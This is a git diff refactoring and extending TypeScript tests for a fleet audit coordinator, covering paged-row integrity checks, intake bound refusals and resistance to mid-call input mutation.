@@ describe('advanceFleetAudit', () => { expect(persisted.auditTimeMs).not.toBe(losingAuditTimeMs); }); - it('readAllFleetOperationRows fails closed on a page with zero rows before done', async () => { + it('readAllFleetOperationRows fails closed on a page with zero rows before done, on a repeating page, on a duplicate ordinal within one page, on an overlapping row, and on a gapped page sequence; it caps the row read by kind and reads descending pages correctly', async () => { let mutationCalls = 0; const store: FleetOperationStore = { withAccountOperationLease: async () => { @@ -3456,6 +3740,39 @@ describe('advanceFleetAudit', () => { ).rejects.toThrow('fleet operation state is malformed'); expect(repeatingPageCalls).toBe(2); + // DUPLICATE ORDINAL WITHIN ONE PAGE. On a FIRST page `afterOrdinal` is + // `undefined`, so the `row.ordinal <= afterOrdinal` arm cannot fire and + // only the page-scoped `Set` can decide. The overlapping case further + // down never reaches that arm — its repeated row is rejected by the + // cursor comparison first — and the gapped case carries no duplicate at + // all, so this fixture is the `Set` arm's only falsifying case: the page + // is deliberately NOT `done`, so without the arm the reader would fetch + // a second page, and `duplicatePageCalls` pins that it does not. + let duplicatePageCalls = 0; + const duplicateOrdinalStore = pageTransformingStore( + new FakeOperationStore(), + (_page, input) => { + duplicatePageCalls += 1; + return { + rows: [ + { rowKind: input.rowKind, ordinal: 0, payload: {} }, + { rowKind: input.rowKind, ordinal: 0, payload: {} }, + ], + done: false, + }; + }, + ); + await expect( + readAllFleetOperationRows(duplicateOrdinalStore, uuidFor(533), 'record'), + ).rejects.toThrow('fleet operation state is malformed'); + expect(duplicatePageCalls).toBe(1); + + // ROW-READ CAP BY KIND. The cap case below runs on the `record` kind, so + // the `record` arm of `readAllFleetOperationRows`'s bound ternary is what + // it exercises; the 990,000 non-`record` arm is pinned here as a constant + // only. Driving a fixture through it would mean materializing ~990,001 + // rows to exercise a two-value ternary over the same guard, which is not + // worth the suite time. expect(FLEET_OPERATION_ROW_READ_BOUND).toBe(990_000); let advancingPageCalls = 0; let advancingRows = 0; @@ -3503,52 +3820,34 @@ describe('advanceFleetAudit', () => { expect(new Set(expectedRows.map((row) => row.ordinal)).size).toBe( expectedRows.length, ); - const descendingStore = new Proxy(orderedStore, { - get(target, property, receiver) { - if (property === 'readOperationRowsPage') { - return async ( - input: Parameters[0], - ) => { - const page = await target.readOperationRowsPage(input); - return { ...page, rows: [...page.rows].reverse() }; - }; - } - const value = Reflect.get(target, property, receiver); - return typeof value === 'function' ? value.bind(target) : value; - }, - }); + const descendingStore = pageTransformingStore(orderedStore, (page) => ({ + ...page, + rows: [...page.rows].reverse(), + })); await expect( readAllFleetOperationRows(descendingStore, orderedOperationId, 'record'), ).resolves.toEqual(expectedRows); let overlappingPageCalls = 0; const overlappingBaseStore = new FakeOperationStore(); - const overlappingStore = new Proxy(overlappingBaseStore, { - get(target, property, receiver) { - if (property === 'readOperationRowsPage') { - return async ( - input: Parameters[0], - ) => { - overlappingPageCalls += 1; - if (input.afterOrdinal === undefined) { - return { - rows: [{ rowKind: input.rowKind, ordinal: 1, payload: {} }], - done: false, - }; + const overlappingStore = pageTransformingStore( + overlappingBaseStore, + (_page, input) => { + overlappingPageCalls += 1; + return input.afterOrdinal === undefined + ? { + rows: [{ rowKind: input.rowKind, ordinal: 1, payload: {} }], + done: false, } - return { + : { rows: [ { rowKind: input.rowKind, ordinal: 2, payload: {} }, { rowKind: input.rowKind, ordinal: 1, payload: {} }, ], done: true, }; - }; - } - const value = Reflect.get(target, property, receiver); - return typeof value === 'function' ? value.bind(target) : value; }, - }); + ); await expect( readAllFleetOperationRows(overlappingStore, uuidFor(531), 'record'), ).rejects.toThrow('fleet operation state is malformed'); @@ -3557,29 +3856,41 @@ describe('advanceFleetAudit', () => { expect(overlappingBaseStore.rows.size).toBe(0); expect(overlappingBaseStore.heads.size).toBe(0); - let gappedPageCalls = 0; - const gappedStore: FleetOperationStore = { - ...store, - readOperationRowsPage: async (input) => { - gappedPageCalls += 1; - return input.afterOrdinal === undefined - ? { - rows: [ - { rowKind: input.rowKind, ordinal: 5, payload: {} }, - { rowKind: input.rowKind, ordinal: 1, payload: {} }, - ], - done: false, - } - : { - rows: [{ rowKind: input.rowKind, ordinal: 6, payload: {} }], - done: true, - }; - }, - }; - await expect( - readAllFleetOperationRows(gappedStore, uuidFor(532), 'record'), - ).rejects.toThrow('fleet operation state is malformed'); - expect(gappedPageCalls).toBe(2); + // PAGE CONTIGUITY. `[5, 1]`,`[6]` refuses on the MISSING ZERO — the + // sorted run starts at 1, so the final index check fails on the very + // first row and the 2-4 skip is never reached. `[5, 0]`,`[6]` is the same + // sequence with that first-row objection removed, so only the interior + // gap can decide it. Both are kept: they refuse for different reasons. + const gappedFirstPages = [ + [5, 1], + [5, 0], + ] as const; + for (const [index, firstPageOrdinals] of gappedFirstPages.entries()) { + let gappedPageCalls = 0; + const gappedStore: FleetOperationStore = { + ...store, + readOperationRowsPage: async (input) => { + gappedPageCalls += 1; + return input.afterOrdinal === undefined + ? { + rows: firstPageOrdinals.map((ordinal) => ({ + rowKind: input.rowKind, + ordinal, + payload: {}, + })), + done: false, + } + : { + rows: [{ rowKind: input.rowKind, ordinal: 6, payload: {} }], + done: true, + }; + }, + }; + await expect( + readAllFleetOperationRows(gappedStore, uuidFor(534 + index), 'record'), + ).rejects.toThrow('fleet operation state is malformed'); + expect(gappedPageCalls).toBe(2); + } expect(mutationCalls).toBe(0); }); @@ -3651,7 +3962,7 @@ describe('advanceFleetAudit', () => { expect(next.status).toBe('pending'); }); - it('findings-page reads and abandonment refuse an unknown id and a foreign-kind id before any write', async () => { + it('findings-page reads and abandonment refuse an unknown id (FleetOperationTokenOperationError) and a foreign-kind id (the fixed cross-kind refusal) before any write, in both the running and terminal abandonment branches', async () => { const alice = baseRecord('foreignids'); const harness = buildHarness([alice], inventoryFor([alice])); const unknownId = uuidFor(57); @@ -3792,9 +4103,9 @@ describe('advanceFleetAudit', () => { const abandoned = await harness.operationStore.readOperationById(operationId); expect(abandoned?.state).toBe('failed'); - expect((abandoned?.progress as FleetAuditProgress).failure?.reason).toBe( - 'operator-abandoned', - ); + expect( + fleetAuditProgressFromUnknown(abandoned?.progress).failure?.reason, + ).toBe('operator-abandoned'); expect(harness.operationStore.heads.has('audit')).toBe(false); expect(harness.inventoryStore.releasedPins).toContainEqual({ generation: 1, @@ -3886,17 +4197,9 @@ describe('advanceFleetAudit', () => { tenantTag: observed.tenantTag, environment: observed.environment, }); - const drainFindings = await auditFleetDrift({ - store: observedHarness.fleetStore, + const drainFindings = await drainWith(observedHarness, { records: [observed], inventory: observedInventory, - backendFor: () => observedHarness.backend, - specFor: (record) => - observedHarness.specByTenant.get(record.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (record) => - observedHarness.secretByTenant.get(record.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, }); expect(drainFindings.slice(0, observedFindings.length)).toStrictEqual( observedFindings, @@ -3922,7 +4225,6 @@ describe('advanceFleetAudit', () => { ]; for (const [index, record] of cases.entries()) { const harness = buildHarness([record], inventoryFor([record])); - const probeCallsBefore = harness.operationStore.readOperationByIdCalls; await expect( advanceFleetAudit( harness.baseOptions({ @@ -3935,270 +4237,245 @@ describe('advanceFleetAudit', () => { ).rejects.toThrow( 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar', ); - expect(harness.operationStore.readOperationByIdCalls).toBe( - probeCallsBefore, - ); expectZeroHarnessWork(harness); } }); - it('a start refuses a non-positive or non-integer explicit generation, a non-string tenant tag, a record over the staged row byte bound, and a non-integer or out-of-Date-range audit clock sample before any operation row, staged row, or pin', async () => { - const alice = baseRecord('preflight'); - for (const [index, generation] of [0, 1.5].entries()) { - const harness = buildHarness([alice], inventoryFor([alice])); - const operationId = uuidFor(70 + index); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId, - records: [alice], - staleAfterMs: STALE_AFTER_MS, - generation, - }), - ), - ).rejects.toThrow('generation must be a positive safe integer'); - expectZeroHarnessWork(harness); - expect(harness.operationStore.operations.has(operationId)).toBe(false); - expect(harness.operationStore.rows.size).toBe(0); - expect(harness.inventoryStore.pins).toEqual([]); - } - - const nonStringTenant = { - ...baseRecord('nonstringtenant'), - tenantTag: null as unknown as string, - }; - const nonStringHarness = buildHarness([], emptyInventory()); - const nonStringOperationId = uuidFor(72); - await expect( - advanceFleetAudit( - nonStringHarness.baseOptions({ - kind: 'start', - operationId: nonStringOperationId, - records: [nonStringTenant], - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow( - 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar', - ); - expectZeroHarnessWork(nonStringHarness); - expect( - nonStringHarness.operationStore.operations.has(nonStringOperationId), - ).toBe(false); - expect(nonStringHarness.operationStore.rows.size).toBe(0); - expect(nonStringHarness.inventoryStore.pins).toEqual([]); - - const throwingTenant = baseRecord('throwingtenant'); - Object.defineProperty(throwingTenant, 'tenantTag', { - get() { - throw new Error('boom'); + // INTAKE PREFLIGHT, re-cut here as a table. Eleven fixtures used to share + // one ~250-line body — nine `rejects.toThrow` blocks, two of them looping + // over two fixtures each — that repeated the same build / + // `rejects.toThrow` / `expectZeroHarnessWork` work; each fixture now + // reports under its own title, so a failure names the one that broke. + const preflightRecord = baseRecord('preflight'); + const GRAMMAR_REFUSAL = + 'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar'; + const STRUCTURE_REFUSAL = + 'fleet audit record exceeds the intake structure bounds'; + const ROW_BYTE_REFUSAL = + 'fleet audit record exceeds the staged row byte bound'; + const CLOCK_REFUSAL = + 'fleet audit auditClock sample must be a non-negative safe integer representable by Date'; + // The clock refusal is the one preflight case that follows the lease row: + // it is sampled inside the lease, after the probe and the generation read. + const AFTER_LEASE_AND_PROBE = { + leaseCount: 1, + readOperationByIdCalls: 1, + generationReads: { latest: 1, finalized: 0, runByOperation: 0 }, + } as const; + + const preflightRefusalCases: readonly PreflightRefusalCase[] = [ + { + name: 'a non-positive explicit generation', + fleet: [preflightRecord], + operationId: uuidFor(70), + records: () => [preflightRecord], + generation: 0, + message: 'generation must be a positive safe integer', + }, + { + name: 'a non-integer explicit generation', + fleet: [preflightRecord], + operationId: uuidFor(71), + records: () => [preflightRecord], + generation: 1.5, + message: 'generation must be a positive safe integer', + }, + { + name: 'a non-string tenant tag', + fleet: [], + operationId: uuidFor(72), + records: () => [ + { + ...baseRecord('nonstringtenant'), + tenantTag: null as unknown as string, + }, + ], + message: GRAMMAR_REFUSAL, + }, + { + name: 'a throwing tenantTag accessor', + fleet: [], + operationId: uuidFor(720), + records: () => { + const record = baseRecord('throwingtenant'); + Object.defineProperty(record, 'tenantTag', { + get() { + throw new Error('boom'); + }, + enumerable: true, + }); + return [record]; }, - enumerable: true, - }); - const throwingTenantHarness = buildHarness([], emptyInventory()); - await expect( - advanceFleetAudit( - throwingTenantHarness.baseOptions({ - kind: 'start', - operationId: uuidFor(720), - records: [throwingTenant], - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow('fleet audit record exceeds the intake structure bounds'); - expectZeroHarnessWork(throwingTenantHarness); - - const nullRecordHarness = buildHarness([], emptyInventory()); - const nullRecordOperationId = uuidFor(79); - await expect( - advanceFleetAudit( - nullRecordHarness.baseOptions({ - kind: 'start', - operationId: nullRecordOperationId, - records: [null as unknown as FleetRecord], - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow('fleet audit record exceeds the intake structure bounds'); - expectZeroHarnessWork(nullRecordHarness); - - const padding = Object.fromEntries( - Array.from({ length: 25 }, (_, index) => [ - `padding${index}`, - 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND), - ]), - ); - const oversizedRecord = Object.assign(baseRecord('oversized'), padding); - const pending: unknown[] = [oversizedRecord]; - const strings: string[] = []; - let nodeCount = 0; - while (pending.length > 0) { - const current = pending.pop(); - nodeCount += 1; - if (typeof current === 'string') strings.push(current); - else if (Array.isArray(current)) pending.push(...current); - else if (current && typeof current === 'object') { - pending.push(...Object.values(current)); - } - } - const oversizedCanonical = canonicalFleetOperationBytes(oversizedRecord); - expect( - new TextEncoder().encode(oversizedCanonical).byteLength, - ).toBeGreaterThan(FLEET_OPERATION_RECORD_ROW_BYTE_BOUND); - expect(nodeCount).toBeLessThan(8_192); - expect( - Math.max( - ...strings.map((value) => new TextEncoder().encode(value).byteLength), - ), - ).toBeLessThanOrEqual(FLEET_OPERATION_STRING_BYTE_BOUND); - const oversizedHarness = buildHarness([], emptyInventory()); - const oversizedOperationId = uuidFor(73); - await expect( - advanceFleetAudit( - oversizedHarness.baseOptions({ - kind: 'start', - operationId: oversizedOperationId, - records: [oversizedRecord], - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow('fleet audit record exceeds the staged row byte bound'); - expectZeroHarnessWork(oversizedHarness); - expect( - oversizedHarness.operationStore.operations.has(oversizedOperationId), - ).toBe(false); - expect(oversizedHarness.operationStore.rows.size).toBe(0); - expect(oversizedHarness.inventoryStore.pins).toEqual([]); - - const clockHarness = buildHarness([alice], inventoryFor([alice]), { + message: STRUCTURE_REFUSAL, + }, + { + name: 'a null record element', + fleet: [], + operationId: uuidFor(79), + records: () => [null as unknown as FleetRecord], + message: STRUCTURE_REFUSAL, + }, + { + name: 'a record over the staged row bound', + fleet: [], + operationId: uuidFor(73), + records: () => { + const record = Object.assign( + baseRecord('oversized'), + Object.fromEntries( + Array.from({ length: 25 }, (_, index) => [ + `padding${index}`, + 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND), + ]), + ), + ); + // The walk survives for the max-string assertion alone; the node + // count comes from the file's own helper. + const strings: string[] = []; + const pending: unknown[] = [record]; + while (pending.length > 0) { + const current = pending.pop(); + if (typeof current === 'string') strings.push(current); + else if (Array.isArray(current)) pending.push(...current); + else if (current && typeof current === 'object') { + pending.push(...Object.values(current)); + } + } + expect( + new TextEncoder().encode(canonicalFleetOperationBytes(record)) + .byteLength, + ).toBeGreaterThan(FLEET_OPERATION_RECORD_ROW_BYTE_BOUND); + expect(countPlainDataNodes(record)).toBeLessThan( + FLEET_OPERATION_NODE_BOUND, + ); + expect( + Math.max( + ...strings.map( + (value) => new TextEncoder().encode(value).byteLength, + ), + ), + ).toBeLessThanOrEqual(FLEET_OPERATION_STRING_BYTE_BOUND); + return [record]; + }, + message: ROW_BYTE_REFUSAL, + }, + { + name: 'a non-integer audit clock sample', + fleet: [preflightRecord], + operationId: uuidFor(74), + records: () => [preflightRecord], auditClock: () => 1.5, - }); - const clockOperationId = uuidFor(74); - await expect( - advanceFleetAudit( - clockHarness.baseOptions({ - kind: 'start', - operationId: clockOperationId, - records: [alice], - staleAfterMs: STALE_AFTER_MS, + message: CLOCK_REFUSAL, + coordination: AFTER_LEASE_AND_PROBE, + }, + { + name: 'an out-of-range audit clock sample', + fleet: [preflightRecord], + operationId: uuidFor(75), + records: () => [preflightRecord], + auditClock: () => 9e15, + message: CLOCK_REFUSAL, + coordination: AFTER_LEASE_AND_PROBE, + }, + { + name: 'a record over the intake node bound', + fleet: [], + operationId: uuidFor(76), + records: () => [ + Object.assign(baseRecord('toomanynodes'), { + padding: Array.from({ length: 9_000 }, () => null), }), - ), - ).rejects.toThrow( - 'fleet audit auditClock sample must be a non-negative safe integer representable by Date', - ); - expectZeroHarnessWork(clockHarness, { - leaseCount: 1, - readOperationByIdCalls: 1, - generationReads: { latest: 1, finalized: 0, runByOperation: 0 }, - }); - expect(clockHarness.operationStore.operations.has(clockOperationId)).toBe( - false, - ); - expect(clockHarness.operationStore.rows.size).toBe(0); - expect(clockHarness.inventoryStore.pins).toEqual([]); - - const outOfRangeClockHarness = buildHarness( - [alice], - inventoryFor([alice]), - { auditClock: () => 9e15 }, - ); - const outOfRangeClockOperationId = uuidFor(75); - await expect( - advanceFleetAudit( - outOfRangeClockHarness.baseOptions({ - kind: 'start', - operationId: outOfRangeClockOperationId, - records: [alice], - staleAfterMs: STALE_AFTER_MS, + ], + message: STRUCTURE_REFUSAL, + }, + { + name: 'a record over the intake string bound', + fleet: [], + operationId: uuidFor(77), + records: () => [ + Object.assign(baseRecord('overlongstring'), { + padding: 'x'.repeat(5_000), }), - ), - ).rejects.toThrow( - 'fleet audit auditClock sample must be a non-negative safe integer representable by Date', - ); - expectZeroHarnessWork(outOfRangeClockHarness, { - leaseCount: 1, - readOperationByIdCalls: 1, - generationReads: { latest: 1, finalized: 0, runByOperation: 0 }, - }); - - const structureBoundCases: readonly FleetRecord[] = [ - Object.assign(baseRecord('toomanynodes'), { - padding: Array.from({ length: 9_000 }, () => null), - }), - Object.assign(baseRecord('overlongstring'), { - padding: 'x'.repeat(5_000), - }), - ]; - for (const [index, record] of structureBoundCases.entries()) { - const harness = buildHarness([], emptyInventory()); - const operationId = uuidFor(76 + index); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId, - records: [record], - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow( - 'fleet audit record exceeds the intake structure bounds', - ); - expectZeroHarnessWork(harness); - expect(harness.operationStore.operations.has(operationId)).toBe(false); - } - - const overlappingPadding = Object.fromEntries( - Array.from({ length: 8_000 }, (_, index) => [ - `padding${index}`, - 'x'.repeat(2_087), - ]), - ); - const overlappingBaseRecord = baseRecord('overlappingbounds'); - const overlappingRecord = Object.assign( - overlappingBaseRecord, - overlappingPadding, - ); - expect(countPlainDataNodes(overlappingRecord)).toBeLessThan(8_192); - // This fixture is ASCII, so string lengths equal UTF-8 byte lengths. - let overlappingSerializedByteCount = JSON.stringify( - baseRecord('overlappingbounds'), - ).length; - for (let index = 0; index < 8_000; index += 1) { - overlappingSerializedByteCount += - 1 + 2 + `padding${index}`.length + 1 + 2 + 2_087; - } - expect(overlappingSerializedByteCount).toBeGreaterThan( - FLEET_OPERATION_INTAKE_BYTE_BOUND, + ], + message: STRUCTURE_REFUSAL, + }, + { + name: 'a record over row and intake bounds', + fleet: [], + operationId: uuidFor(78), + records: () => { + const padding = Object.fromEntries( + Array.from({ length: 8_000 }, (_, index) => [ + `padding${index}`, + 'x'.repeat(2_087), + ]), + ); + const record = Object.assign(baseRecord('overlappingbounds'), padding); + expect(countPlainDataNodes(record)).toBeLessThan( + FLEET_OPERATION_NODE_BOUND, + ); + // Both terms are derived from the fixture rather than restated. The + // fixture is ASCII, so string lengths equal UTF-8 byte lengths, and + // each padding entry adds to the record's JSON exactly: one ',' + // separator, the key's two '"' quotes, the key itself, one ':' + // separator, the value's two '"' quotes, and the value itself. + let serializedByteCount = JSON.stringify( + baseRecord('overlappingbounds'), + ).length; + for (const [key, value] of Object.entries(padding)) { + serializedByteCount += 1 + 2 + key.length + 1 + 2 + value.length; + } + expect(serializedByteCount).toBeGreaterThan( + FLEET_OPERATION_INTAKE_BYTE_BOUND, + ); + return [record]; + }, + message: ROW_BYTE_REFUSAL, + }, + ]; + + // Named so the frozen title survives as a greppable literal: `it.each` + // resolves `$name` per case, so none of the eleven generated titles appears + // anywhere in this file. + const PREFLIGHT_TITLE = + 'a start refuses $name before any operation row, staged row, or pin'; + + it.each(preflightRefusalCases)(PREFLIGHT_TITLE, async (testCase) => { + const harness = buildHarness( + testCase.fleet, + inventoryFor(testCase.fleet), + testCase.auditClock === undefined + ? {} + : { auditClock: testCase.auditClock }, ); - const overlappingHarness = buildHarness([], emptyInventory()); - const overlappingOperationId = uuidFor(78); await expect( advanceFleetAudit( - overlappingHarness.baseOptions({ + harness.baseOptions({ kind: 'start', - operationId: overlappingOperationId, - records: [overlappingRecord], + operationId: testCase.operationId, + records: testCase.records(), staleAfterMs: STALE_AFTER_MS, + ...(testCase.generation === undefined + ? {} + : { generation: testCase.generation }), }), ), - ).rejects.toThrow('fleet audit record exceeds the staged row byte bound'); - expectZeroHarnessWork(overlappingHarness); - expect( - overlappingHarness.operationStore.operations.has(overlappingOperationId), - ).toBe(false); + ).rejects.toThrow(testCase.message); + // `expectZeroHarnessWork` already asserts the empty operation, row, + // head, digest and pin maps, so no case repeats them. + expectZeroHarnessWork(harness, testCase.coordination); }); it('an emitted finding or fact row whose serialized payload or any string exceeds the staged-row envelope fails the operation durably as emission-bound-exceeded with the pin released, before the store sees the row', async () => { const escapedNamespaceId = '\u0000'.repeat(3_000); const overlongDatabaseId = 'd'.repeat(5_000); + const escapedDriftedDatabaseId = 'db-escapedfact-drifted'; const cases = [ { tenantTag: 'escapedfact', live: (record: FleetRecord) => cleanLiveDeployment(record, { - databaseId: 'db-escapedfact-drifted', + databaseId: escapedDriftedDatabaseId, durableObjectBindings: [ { name: 'RUNNER', @@ -4244,19 +4521,22 @@ describe('advanceFleetAudit', () => { }); harness.liveByTenant.set(record.tenantTag, testCase.live(record)); if (index === 0) { - const drainFindings = await auditFleetDrift({ - store: new FakeFleetStateStore([record]), + const drainFindings = await drainWith(harness, { records: [record], inventory: inventoryFor([record]), - backendFor: () => harness.backend, - specFor: (entry) => - harness.specByTenant.get(entry.tenantTag) as DeploymentSpec, - maintenanceSecretFor: (entry) => - harness.secretByTenant.get(entry.tenantTag) as string, - staleAfterMs: STALE_AFTER_MS, - now: AUDIT_NOW, }); - expect(drainFindings.length).toBeGreaterThan(0); + // §5.5 class (d): the drain over the IDENTICAL world completes and + // returns its FULL finding array, where the bounded path refuses the + // first fact row. A length floor would pass on any finding at all, so + // the whole array is pinned. + expect(drainFindings).toEqual([ + { + tenantTag: testCase.tenantTag, + environment: ENVIRONMENT, + kind: 'database-mismatch', + detail: `expected ${record.databaseId}, found ${escapedDriftedDatabaseId}`, + }, + ]); } const operationId = uuidFor(80 + index); const started = await advanceFleetAudit( @@ -4286,7 +4566,9 @@ describe('advanceFleetAudit', () => { const persisted = await harness.operationStore.readOperationById(operationId); expect(persisted?.state).toBe('failed'); - expect((persisted?.progress as FleetAuditProgress).failure).toEqual({ + expect( + fleetAuditProgressFromUnknown(persisted?.progress).failure, + ).toEqual({ reason: 'emission-bound-exceeded', itemOrdinal: 0, }); @@ -4347,11 +4629,13 @@ describe('advanceFleetAudit', () => { }); }); - it("a start whose grammar-valid records' aggregate node count exceeds 8,192 creates the operation with recordCount equal to the input length, and its first per-record call reads the accumulated record rows across two pages", async () => { + it("a start whose grammar-valid records' aggregate node count exceeds 8,192 creates the operation with recordCount equal to the INTAKE SNAPSHOT — mid-start caller mutation of the records array, of record[0], and of the action's own operationId, staleAfterMs and generation notwithstanding — and its first per-record call reads the accumulated record rows across two pages", async () => { const records = Array.from({ length: 1_001 }, (_, index) => baseRecord(`aggregate${index}`), ); - expect(countPlainDataNodes(records)).toBeGreaterThan(8_192); + expect(countPlainDataNodes(records)).toBeGreaterThan( + FLEET_OPERATION_NODE_BOUND, + ); expect(() => fleetOperationIntakeDigest({ records, @@ -4361,6 +4645,7 @@ describe('advanceFleetAudit', () => { ).toThrow('fleet operation state is malformed'); const operationId = uuidFor(83); + const probeMutationOperationId = uuidFor(829); const clockMutationOperationId = uuidFor(830); const pinMutationOperationId = uuidFor(831); const action = { @@ -4368,6 +4653,7 @@ describe('advanceFleetAudit', () => { operationId, records, staleAfterMs: STALE_AFTER_MS, + generation: undefined as number | undefined, }; const intakeCount = records.length; const intakeTenantTag = records[0]?.tenantTag; @@ -4383,6 +4669,11 @@ describe('advanceFleetAudit', () => { }); action.staleAfterMs = nextStaleAfterMs; action.operationId = nextOperationId; + // Generation 2 is never registered here, so an implementation that + // re-read `action.generation` instead of the value hoisted at the top + // of the start would pin generation 2 rather than the latest finalized + // 1 — and the pin assertion below would see it. + action.generation = 2; }; const harness = buildHarness(records, inventoryFor(records), { auditClock: () => { @@ -4397,6 +4688,14 @@ describe('advanceFleetAudit', () => { mutateCaller(pinMutationOperationId, STALE_AFTER_MS + 2); await pinGeneration(input); }; + // The clock and pin hooks both fire AFTER the generation is resolved, so + // neither can falsify the hoisted `action.generation`. The probe — + // `readOperationById`, the single seam between the hoist and the use — is + // the only hook early enough, and it is one-shot so the direct reads + // further down cannot re-trigger it. + harness.operationStore.onNextReadOperationById = () => { + mutateCaller(probeMutationOperationId, STALE_AFTER_MS + 3); + }; const started = await advanceFleetAudit(harness.baseOptions(action)); expect(started.status).toBe('pending'); if (started.status !== 'pending') throw new Error('unreachable'); @@ -4405,15 +4704,22 @@ describe('advanceFleetAudit', () => { expect(persisted).toBeDefined(); if (!persisted) throw new Error('unreachable'); expect(persisted.state).toBe('running'); - const progress = persisted.progress as FleetAuditProgress; + const progress = fleetAuditProgressFromUnknown(persisted.progress); expect(progress.recordCount).toBe(intakeCount); expect(progress.staleAfterMs).toBe(STALE_AFTER_MS); + expect( + await harness.operationStore.readOperationById(probeMutationOperationId), + ).toBeUndefined(); expect( await harness.operationStore.readOperationById(clockMutationOperationId), ).toBeUndefined(); expect( await harness.operationStore.readOperationById(pinMutationOperationId), ).toBeUndefined(); + // The mid-call `action.generation = 2` did not reach the resolution: the + // operation pins, and persists, the latest finalized generation 1. + expect(action.generation).toBe(2); + expect(progress.generation).toBe(1); expect(harness.inventoryStore.pins).toEqual([ { generation: 1, pinnedBy: `fleet-audit:${operationId}` }, ]); @@ -4425,18 +4731,17 @@ describe('advanceFleetAudit', () => { expect(stagedRecords).toHaveLength(intakeCount); expect(stagedRecords[0]?.payload.tenantTag).toBe(intakeTenantTag); + // AFTER-START MUTATION. Only the array length is restored: the rest of + // this title drives `continue`, which never reads `action` again, and + // `records[0].tenantTag` is overwritten on the very next line. records.length = intakeCount; - Object.assign(records[0] as FleetRecord, { tenantTag: intakeTenantTag }); - action.operationId = operationId; - action.staleAfterMs = STALE_AFTER_MS; Object.assign(records[0] as FleetRecord, { tenantTag: 'mutatedafterstart', }); records.push(baseRecord('appendedafterstart')); expect( - ( - (await harness.operationStore.readOperationById(operationId)) - ?.progress as FleetAuditProgress + fleetAuditProgressFromUnknown( + (await harness.operationStore.readOperationById(operationId))?.progress, ).recordCount, ).toBe(intakeCount); expect( @@ -4451,6 +4756,12 @@ describe('advanceFleetAudit', () => { // Skip the preceding global stages so this fixture pays for only the last // global-stage call and the first per-record call that it measures. + // + // A DELIBERATE raw cast, unlike every read above: the point is to write a + // fast-forwarded stage straight into the store. Routing it through + // `fleetAuditProgressFromUnknown` would only re-validate what this line + // just built, and the codec is what the coordinator must apply on the way + // back OUT. harness.operationStore.operations.set(operationId, { ...persisted, progress: { @@ -4538,6 +4849,9 @@ describe('advanceFleetAudit', () => { expect(persisted).toBeDefined(); if (!persisted) throw new Error('unreachable'); const progress = fleetAuditProgressFromUnknown(persisted.progress); + // A DELIBERATE raw cast: this line CORRUPTS the persisted cursor on + // purpose, so it must bypass the codec the read above went through. + // Every read in this file goes the other way. const corrupted: FleetOperationRunRecord = { ...persisted, progress: { ...progress, stage: testCase.stage } as FleetAuditProgress, @@ -4553,11 +4867,14 @@ describe('advanceFleetAudit', () => { expect(harness.opsLog).toEqual([]); expect(harness.fleetStore.ops).toEqual([]); expect([...harness.operationStore.rows]).toEqual(rowsBefore); - expect( - await harness.operationStore.readOperationById(operationId), - ).toEqual(corrupted); + const afterRefusal = + await harness.operationStore.readOperationById(operationId); + expect(afterRefusal).toEqual(corrupted); expect(harness.operationStore.heads.get('audit')).toBe(operationId); - expect(corrupted.state).toBe('running'); + // Read back off the STORE, not off the local fixture: the claim is that + // the refusal left the durable operation running, which a property of + // `corrupted` could never falsify. + expect(afterRefusal?.state).toBe('running'); } }); }); diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index e1d9c66e..9bd26af3 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -400,6 +400,9 @@ describe('fleet operation state', () => { expect(isDurableAuditDetailSafe(`provider said ${marker}`)).toBe(false); } expect(isDurableAuditDetailSafe('safe words '.repeat(300))).toBe(true); + }); + + it('the row codecs accept an empty finding detail and an empty or control-byte fact key on every fact kind, and reject a control-byte detail', () => { expect( driftFindingRowFromUnknown({ tenantTag: 'tenant', @@ -423,6 +426,21 @@ describe('fleet operation state', () => { key, }).key, ).toBe(key); + // The owner kinds admit the same keys through the same bounded + // provider-text guard, but their arm asserts FOUR exact keys and + // validates `tenantTag`/`environment` against the deployment grammar, + // so the fixture has to carry grammar-valid values for those two or + // the very first iteration refuses for the wrong reason. + for (const factKind of ['database-owner', 'namespace-owner'] as const) { + expect( + fleetAuditFactRowFromUnknown({ + factKind, + key, + tenantTag: 'tenant', + environment: 'production', + }).key, + ).toBe(key); + } } }); @@ -497,7 +515,17 @@ describe('fleet operation state', () => { step: 'provider-findings', rowOrdinal: 7, }); - while (stage.step !== 'finalize') { + // Capped by the very array the next assertion compares against. This loop + // is SYNCHRONOUS, so a non-progressing successor chain would never reach + // vitest's test timeout — it would block the worker and grow `seen` until + // the process died. The cap is the stage count, which is one slot of slack + // over the 12 successors the chain actually needs. + for (let step = 0; stage.step !== 'finalize'; step += 1) { + if (step >= FLEET_AUDIT_STAGE_ORDER.length) { + throw new Error( + `nextAuditStage did not reach 'finalize' within ${FLEET_AUDIT_STAGE_ORDER.length} successors`, + ); + } stage = nextAuditStage(stage, true); seen.push(stage.step); } @@ -598,6 +626,11 @@ describe('fleet operation state', () => { expect(digestFor([a, b])).not.toBe(digestFor([a])); expect(digestFor([a, b], { generation: 2 })).not.toBe(digestFor([a, b])); + // A FRAMING oracle, not a canonicalization oracle: it reuses + // `canonicalFleetOperationBytes` from the module under test, so it pins + // the netstring framing and the hash composition and nothing about the + // canonicalizer itself. That is pinned independently by the key-reorder + // and concatenation assertions above. const oracle = createHash('sha256').update( canonicalFleetOperationBytes(envelope), ); From d9bfdee37dea6046b2d71b496e59be8b4940f523 Mon Sep 17 00:00:00 2001 From: gcharang 